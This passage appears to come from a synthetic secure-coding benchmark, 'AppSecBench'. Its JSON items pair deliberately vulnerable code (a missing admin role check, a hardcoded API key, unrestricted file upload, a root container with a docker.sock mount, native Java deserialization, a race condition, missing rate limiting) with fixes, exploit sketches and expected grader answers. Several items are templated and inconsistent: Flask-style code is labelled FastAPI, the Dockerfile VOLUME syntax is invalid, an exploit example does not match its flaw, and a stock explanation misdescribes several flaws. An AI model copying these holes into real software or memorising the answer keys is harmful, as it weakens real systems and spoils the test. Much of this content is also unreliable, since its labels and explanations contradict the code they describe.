"CWE-345", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000528", "title": "Broken Access Control in Python (FastAPI)", "category": "Broken Access Control", "language": "Python", "framework": "FastAPI", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Broken Access Control", "vulnerability_description": "Authorization checks are missing or can be bypassed, letting a user act on resources or functions outside their privilege level.", "vulnerable_code": "@app.route(\"/api/admin/users\")\ndef renderView():\n # VULNERABLE: no role check\n return jsonify([u.email for u in User.query.all()])", "secure_code": "@app.route(\"/api/admin/users\")\n@roles_required(\"admin\")\ndef runTask():\n # SECURE: server-side role enforcement\n return jsonify([u.email for u in User.query.all()])", "exploit_example": "Any authenticated (or anonymous) user hits the admin endpoint and reads all users.", "exploitability_explanation": "The 'Broken Access Control' weakness (CWE-285, A01:2021) is exploitable because the Python implementation in the FastAPI context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "An authenticated or sometimes anonymous request to a protected function.", "expected_llm_analysis": "The model/tool should flag 'Broken Access Control' (CWE-285, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Broken Access Control' (CWE-285, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Apply centralized, deny-by-default authorization on every route/handler; verify the caller's role/ownership server-side.", "expected_secure_code": "@app.route(\"/api/admin/users\")\n@roles_required(\"admin\")\ndef runTask():\n # SECURE: server-side role enforcement\n return jsonify([u.email for u in User.query.all()])", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-285", "expected_owasp": "A01:2021", "expected_owasp_api": "API5:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["broken-access-control", "cwe-285", "owasp-a012021", "python", "fastapi", "beginner"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://cwe.mitre.org/data/definitions/285.html"], "metadata": {"difficulty": "Beginner", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API5:2023", "owasp_llm": "", "cwe": "CWE-285", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000289", "title": "Hardcoded Secrets in Go (Echo)", "category": "Cryptographic Failures", "language": "Go", "framework": "Echo", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Hardcoded Secrets", "vulnerability_description": "Credentials, API keys, or private keys are embedded in source code, exposing them to anyone with repository access.", "vulnerable_code": "const apiKey = \"sk_live_9f8a7b6c5d4e3f2a1b0c\" // VULNERABLE", "secure_code": "var apiKey = os.Getenv(\"API_KEY\") // SECURE", "exploit_example": "Read repo -> extract live key -> call API as the service.", "exploitability_explanation": "The 'Hardcoded Secrets' weakness (CWE-798, A02:2021) is exploitable because the Go implementation in the Echo context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Read access to the source repository, binary, or a leaked environment.", "expected_llm_analysis": "The model/tool should flag 'Hardcoded Secrets' (CWE-798, mapped to A02:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Hardcoded Secrets' (CWE-798, mapped to A02:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Load secrets from a vault/env at runtime; never commit them; rotate any exposed credential immediately.", "expected_secure_code": "var apiKey = os.Getenv(\"API_KEY\") // SECURE", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-798", "expected_owasp": "A02:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["hardcoded-secrets", "cwe-798", "owasp-a022021", "go", "echo", "intermediate"], "references": ["https://cwe.mitre.org/data/definitions/798.html", "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/"], "metadata": {"difficulty": "Intermediate", "category": "Cryptographic Failures", "owasp": "A02:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000499", "title": "Insecure File Upload in Scala (Spring Boot)", "category": "Injection", "language": "Scala", "framework": "Spring Boot", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure File Upload", "vulnerability_description": "Uploaded files are not validated for type, content, or location, enabling remote code execution or storage abuse.", "vulnerable_code": "def execute(file: MultipartFile): Unit =\n // VULNERABLE: original filename, no check\n Files.copy(file.getInputStream, Paths.get(\"uploads/\" + file.getOriginalFilename))\n", "secure_code": "def execute(file: MultipartFile): Unit =\n // SECURE: random name + allow-list\n val ext = file.getOriginalFilename.split(\"\\.\").last\n if (Set(\"png\",\"jpg\").contains(ext)) Files.copy(file.getInputStream, Paths.get(\"uploads/\" + UUID.randomUUID + \".\" + ext)) else throw new SecurityException(\"bad\")\n", "exploit_example": "Trigger via /x?token=<malicious>.", "exploitability_explanation": "The 'Insecure File Upload' weakness (CWE-434, A03:2021) is exploitable because the Scala implementation in the Spring Boot context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to POST a file to the upload endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Validate magic bytes + extension allow-list, rename server-side, store outside web root, and scan content.", "expected_secure_code": "def execute(file: MultipartFile): Unit =\n // SECURE: random name + allow-list\n val ext = file.getOriginalFilename.split(\"\\.\").last\n if (Set(\"png\",\"jpg\").contains(ext)) Files.copy(file.getInputStream, Paths.get(\"uploads/\" + UUID.randomUUID + \".\" + ext)) else throw new SecurityException(\"bad\")\n", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-434", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-file-upload", "cwe-434", "owasp-a032021", "scala", "spring boot", "advanced"], "references": ["https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload", "https://cwe.mitre.org/data/definitions/434.html"], "metadata": {"difficulty": "Advanced", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-434", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000413", "title": "Kubernetes Security in Dockerfile", "category": "Security Misconfiguration", "language": "Dockerfile", "framework": "None", "application_type": "Infrastructure-as-Code", "source_type": "synthetic", "vulnerability_name": "Kubernetes Security", "vulnerability_description": "A pod or cluster is over-privileged (privileged container, hostPath mount, wildcard RBAC) enabling node compromise.", "vulnerable_code": "# VULNERABLE: runs as root with host mount\nFROM python:3.12-slim\nUSER root\nVOLUME /var/run/docker.sock:/var/run/docker.sock\nCMD [\"python\", \"app.py\"]", "secure_code": "# SECURE: non-root, no host mount, pinned digest\nFROM python:3.12-slim@sha256:abc123\nRUN useradd -m appuser\nUSER appuser\nCMD [\"python\", \"app.py\"]", "exploit_example": "privileged:true -> mount host fs -> node compromise.", "exploitability_explanation": "The 'Kubernetes Security' weakness (CWE-250, A05:2021) is exploitable because the Dockerfile implementation in the None context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Access to submit workloads or a compromised container in the cluster.", "expected_llm_analysis": "The model/tool should flag 'Kubernetes Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Kubernetes Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Run as non-root, drop capabilities, use read-only root FS, set seccomp, and apply least-privilege RBAC.", "expected_secure_code": "# SECURE: non-root, no host mount, pinned digest\nFROM python:3.12-slim@sha256:abc123\nRUN useradd -m appuser\nUSER appuser\nCMD [\"python\", \"app.py\"]", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-250", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["kubernetes-security", "cwe-250", "owasp-a052021", "dockerfile", "real-world-enterprise"], "references": ["https://cwe.mitre.org/data/definitions/250.html", "https://owasp.org/Top10/A05_2021-Security_Misconfiguration/"], "metadata": {"difficulty": "Real-world enterprise", "category": "Security Misconfiguration", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000194", "title": "Broken Authentication in Swift (iOS)", "category": "Authentication", "language": "Swift", "framework": "iOS", "application_type": "Mobile Application", "source_type": "synthetic", "vulnerability_name": "Broken Authentication", "vulnerability_description": "Authentication mechanisms are weak, spoofable, or bypassable, allowing an attacker to assume another user's identity.", "vulnerable_code": "func fetchRecord(c: Cred) throws -> Token { guard let u = repo.find(c.user), u.pass == c.pass else { throw BadCred() }; return issue(u) }", "secure_code": "func fetchRecord(c: Cred) throws -> Token { guard let u = repo.find(c.user), !u.locked, try u.hash.verify(c.pass) else { throw BadCred() }; return issueMfa(u) }", "exploit_example": "No rate limiting / plaintext password -> online brute force succeeds.", "exploitability_explanation": "The 'Broken Authentication' weakness (CWE-287, A07:2021) is exploitable because the Swift implementation in the iOS context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access; no valid second factor required by the flawed flow.", "expected_llm_analysis": "The model/tool should flag 'Broken Authentication' (CWE-287, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Broken Authentication' (CWE-287, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce strong credential policy, constant-time comparison, MFA on sensitive actions, and lockout/rate limiting; never trust client-supplied identity.", "expected_secure_code": "func fetchRecord(c: Cred) throws -> Token { guard let u = repo.find(c.user), !u.locked, try u.hash.verify(c.pass) else { throw BadCred() }; return issueMfa(u) }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-287", "expected_owasp": "A07:2021", "expected_owasp_api": "API2:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["broken-authentication", "cwe-287", "owasp-a072021", "swift", "ios", "real-world-enterprise"], "references": ["https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/", "https://cwe.mitre.org/data/definitions/287.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Authentication", "owasp": "A07:2021", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-287", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000419", "title": "Race Condition in JavaScript (Express)", "category": "Business Logic", "language": "JavaScript", "framework": "Express", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Race Condition", "vulnerability_description": "A check-then-act sequence is not atomic, letting concurrent requests pass the check before a shared state update lands (TOCTOU).", "vulnerable_code": "async function renderView(id) { if(await get(id).used) return; await set(id, {used:true}); }", "secure_code": "async function fetchRecord(id) { const r = await db.run(\"UPDATE c SET used=true WHERE id=$1 AND used=false\", [id]); if(r.rowCount===0) throw \"used\"; }", "exploit_example": "Fire 100 concurrent requests -> coupon redeemed many times.", "exploitability_explanation": "The 'Race Condition' weakness (CWE-362, A04:2021) is exploitable because the JavaScript implementation in the Express context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to issue concurrent requests faster than the check-then-act window.", "expected_llm_analysis": "The model/tool should flag 'Race Condition' (CWE-362, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Race Condition' (CWE-362, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Make check-then-act atomic (DB transaction with SELECT ... FOR UPDATE, distributed lock, or optimistic concurrency).", "expected_secure_code": "async function fetchRecord(id) { const r = await db.run(\"UPDATE c SET used=true WHERE id=$1 AND used=false\", [id]); if(r.rowCount===0) throw \"used\"; }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-362", "expected_owasp": "A04:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.4, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["race-condition", "cwe-362", "owasp-a042021", "javascript", "express", "expert"], "references": ["https://cwe.mitre.org/data/definitions/362.html", "https://owasp.org/www-community/attacks/Thread_Safety_and_State_Problems"], "metadata": {"difficulty": "Expert", "category": "Business Logic", "owasp": "A04:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-362", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000071", "title": "Insecure Deserialization in Java (Spring Boot)", "category": "Injection", "language": "Java", "framework": "Spring Boot", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Deserialization", "vulnerability_description": "Untrusted data is deserialized by a native/object serializer, which can trigger code execution or logic abuse during reconstruction.", "vulnerable_code": "@PostMapping(\"/api/state\")\npublic Object runTask(@RequestBody byte[] body) throws Exception {\n // VULNERABLE: native deserialization\n return new ObjectInputStream(new ByteArrayInputStream(body)).readObject();\n}", "secure_code": "@PostMapping(\"/api/state\")\npublic Object resolveTarget(@RequestBody Map<String,Object> body) {\n // SECURE: typed JSON binding\n return mapper.convertValue(body, SafeDto.class);\n}", "exploit_example": "Send a gadget-chain pickle/ysoserial payload -> code execution.", "exploitability_explanation": "The 'Insecure Deserialization' weakness (CWE-502, A08:2021) is exploitable because the Java implementation in the Spring Boot context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to submit a crafted serialized payload to a deserializing endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure Deserialization' (CWE-502, mapped to A08:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Deserialization' (CWE-502, mapped to A08:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Avoid native deserializers for untrusted data; use schema-validated formats (JSON with explicit types) and integrity-protect the payload.", "expected_secure_code": "@PostMapping(\"/api/state\")\npublic Object resolveTarget(@RequestBody Map<String,Object> body) {\n // SECURE: typed JSON binding\n return mapper.convertValue(body, SafeDto.class);\n}", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-502", "expected_owasp": "A08:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-deserialization", "cwe-502", "owasp-a082021", "java", "spring boot", "intermediate"], "references": ["https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection", "https://cwe.mitre.org/data/definitions/502.html"], "metadata": {"difficulty": "Intermediate", "category": "Injection", "owasp": "A08:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-502", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000253", "title": "Missing Rate Limiting in C# (ASP.NET Core)", "category": "Security Misconfiguration", "language": "C#", "framework": "ASP.NET Core", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Missing Rate Limiting", "vulnerability_description": "Authentication or sensitive endpoints lack throttling, enabling credential stuffing, brute force, or resource exhaustion.", "vulnerable_code": "[HttpPost(\"/api/login\")] public IActionResult resolveTarget() { Verify(); return Ok(); }", "secure_code": "[HttpPost(\"/api/login\")] [EnableRateLimiting(\"login\")] public IActionResult runTask() { Verify(); return Ok(); }", "exploit_example": "10k password guesses/minute -> credential stuffing.", "exploitability_explanation": "The 'Missing Rate Limiting' weakness (CWE-307, A07:2021) is exploitable because the C# implementation in the ASP.NET Core context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access and the ability to automate many requests.", "expected_llm_analysis": "The model/tool should flag 'Missing Rate Limiting' (CWE-307, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Missing Rate Limiting' (CWE-307, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Apply per-identity rate limiting and CAPTCHA/lockout on auth and sensitive endpoints.", "expected_secure_code": "[HttpPost(\"/api/login\")] [EnableRateLimiting(\"login\")] public IActionResult runTask() { Verify(); return Ok(); }", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-307", "expected_owasp": "A07:2021", "expected_owasp_api": "API4:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["missing-rate-limiting", "cwe-307", "owasp-a072021", "c#", "asp.net core", "advanced"], "references": ["https://cwe.mitre.org/data/definitions/307.html", "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/"], "metadata": {"difficulty": "Advanced", "category": "Security Misconfiguration", "owasp": "A07:2021", "owasp_api": "API4:2023", 